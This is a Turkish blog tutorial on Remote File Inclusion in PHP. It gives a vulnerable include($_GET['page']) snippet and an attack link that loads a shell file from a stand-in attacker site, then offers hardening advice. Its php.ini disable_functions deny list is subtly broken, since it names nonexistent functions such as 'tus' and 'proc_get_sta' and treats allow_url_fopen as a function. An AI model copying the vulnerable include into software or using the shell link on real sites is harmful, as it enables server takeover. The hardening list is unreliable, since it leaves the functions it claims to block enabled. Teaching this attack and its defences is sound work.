Remote File Inclusion (RFI) Saldırısı ve Korunma Yöntemi


a. Remote File Inclusion (RFI) Saldırısı Örneği

Aşağıdakini kodlamış bir web geliştiricisi

<a href=index.php?page=file1.php>Files</a> 
<?php 
        $page = $_GET[page]; 
        include($page); 
?>


page parametresinin değerini kendi koyduğu için php kodlamasında bu parametreyi çekerken aldığı değeri filtreleme gereği duymaz. Fakat saldırgan Firebug gibi bir araçla <a> tag’ının içerdiği linkin parametre değerini kendi sitesi yaparak bir shell görüntülemesi yaptırtabilir. Mesela;

<a href=index.php?page=www.saldirganinsitesi.com/shell.txt>Files</a> 
<?php 
        $page = $_GET[page]; 
        include($page); 
?>


Böylece linkte gösterilen shell dosyası sunucuya dahil olacaktır ve shell'deki kodlar sunucu tarafından çalıştırılaraktır

b. Remote File Inclusion (RFI) Saldırısından Korunma Yöntemi

Sitenizde RFI açığı var mı taramasını bazı script’ler ile otomatikmen yapabilirsiniz. Bunlardan biri bir Perl script’i olan rfiscanner.pl dir. Bu tür taramayı pixy adlı program da yapabilmektedir. Taramalar sonucu sitedeki açıkları geliştirici kapattıktan( parametre değerleri filtreledikten ) sonra yapması gereken önlemlerden biri de sunucu ayarlarını düzenlemektir. Bu ayarlar dosya izinlerini değiştirmek ve php.ini dosyasındaki bazı parametrelerin değerlerini düzenlemektir.

Eğer sunucu üzerinde yönetici haklarına sahipseniz /etc/ dizininde bulunan php.ini dosyasında yapacağınız değişikliği sunucuda barınan tüm web sitelerine uygulamış olursunuz. Eğer sunucu üzerinde yönetici haklarına sahip bir hesabınız yoksa php.ini’ye ulaşamazsınız. Fakat kendi sitenizin kök dizininde kendi php.ini dosyanızı oluşturabilirsiniz.

php.ini dosyasına eklenecek disable_functions keyword’ü ile kullanılmayacak bazı tehlikeli PHP fonksiyonlarını ekleyerek sitenizde kullanımını engelleyebilirsiniz. Böylece shell yüklense bile çalışmayacaktır.

Yapılacak adımlar şunlardır:

Not:

Aşağıda anlatılanlar sistem ile ilgili değişikliklere neden olacağı için bazı web sayfaları üzerinde çalışan script’lerin çalışamaz hale gelmesine neden olabilir.

i) İzinler sistemdeki klasörler için 755 olarak dosyalar için ise 644 olarak ayarlanmalıdır.

ii) php.ini dosyasındaki disable_functions satırını bulup değer olarak aşağıdaki komutlar girilmelidir:

disable_functions = allow_url_fopen, execute, shellexec, exec, system, passthru, proc_close, popen, tus, proc_get_sta, proc_nice, proc_open

Böylece sitenize shell dosyası yüklense bile çalışmayacaktır.

Yararlanılan Kaynak

  • https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion
Bu yazı 27.08.2024 tarihinde, saat 23:06:11'de yazılmıştır. 27.08.2024 tarihi ve 20:29:44 saatinde ise güncellenmiştir.
Yazar : Hasan Fatih ŞİMŞEK Görüntülenme Sayısı : 106
Yorumlar
Henüz yorum girilmemiştir.
Yorum Ekle
*
* (E-posta adresiniz yayınlanmayacaktır.)
*
*

#Arşiv


#Giriş

ID :
Şifre :